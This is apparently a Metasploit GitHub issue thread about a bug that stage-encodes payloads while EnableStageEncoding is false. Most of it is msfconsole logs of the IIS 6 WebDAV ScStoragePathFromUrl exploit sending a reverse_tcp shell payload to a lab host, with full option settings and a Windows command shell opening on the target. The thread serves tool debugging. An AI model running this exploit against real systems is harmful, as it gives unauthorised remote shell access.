Strange Stage Encoder behaviour

[firefart]

I came across this issue when testing #8355.

By default EnableStageEncoding is set to false. If you look at the output below, the payload windows/shell/reverse_tcp is used but the output says the stage is encoded (EnableStageEncoding is still false):

[*] Encoded stage with x86/shikata_ga_nai

This causes the exploit to fail. If I set EnableStageEncoding to true and the StageEncoder to generic/none the error message is

[!] StageEncoder failed, falling back to no encoding

and the exploit works.

• I think the stage encoding happening even if the EnableStageEncoding property is set to false is a bug
• the generic/none should do no stage encoding at all but the error message says it fails and the "none" encoding succeeds afterwards.

msf exploit(iis_webdav_scstoragepathfromurl) > options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MaxPathLength  19               yes       End of physical path brute force
   MinPathLength  19               yes       Start of physical path brute force
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST          192.168.56.3     yes       The target address
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path of IIS 6 web application
   VHOST                           no        HTTP server virtual host


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.19.0.3       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2 SP2


msf exploit(iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 172.19.0.3:4444 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (262 bytes) to 172.19.0.1
[*] Command shell session 1 opened (172.19.0.3:4444 -> 172.19.0.1:41294) at 2017-05-08 22:01:19 +0000
[*] 192.168.56.3 - Command shell session 1 closed.  Reason: Died from Errno::ECONNRESET
^C[-] Exploit failed: Interrupt 
[*] Exploit completed, but no session was created.
msf exploit(iis_webdav_scstoragepathfromurl) > advanced

Module advanced options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for windows authentification
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                no        Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, SSL2, SSL3, SSL23, TLS, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                0                                                   no        Additional delay when waiting for a session


Payload advanced options (windows/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PrependMigrate              true             yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseConnectRetries       5                yes       The number of connection attempts to try before exiting the process
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

msf exploit(iis_webdav_scstoragepathfromurl) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(iis_webdav_scstoragepathfromurl) > set StageEncoder "generic/none"
StageEncoder => generic/none
msf exploit(iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 172.19.0.3:4444 
[!] StageEncoder failed, falling back to no encoding
[*] Sending encoded stage (240 bytes) to 172.19.0.1
[*] Command shell session 2 opened (172.19.0.3:4444 -> 172.19.0.1:41298) at 2017-05-08 22:01:45 +0000

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>

[egypt]

Reproduced. This is super weird.

[firefart]

@egypt can it have smth to do with this line of code?

metasploit-framework/modules/payloads/stages/windows/shell.rb

Line 55 in 2207891

true

[egypt]

@firefart Yeah, it does for sure, but I don't have any idea yet why it would fail to encode or cause issues.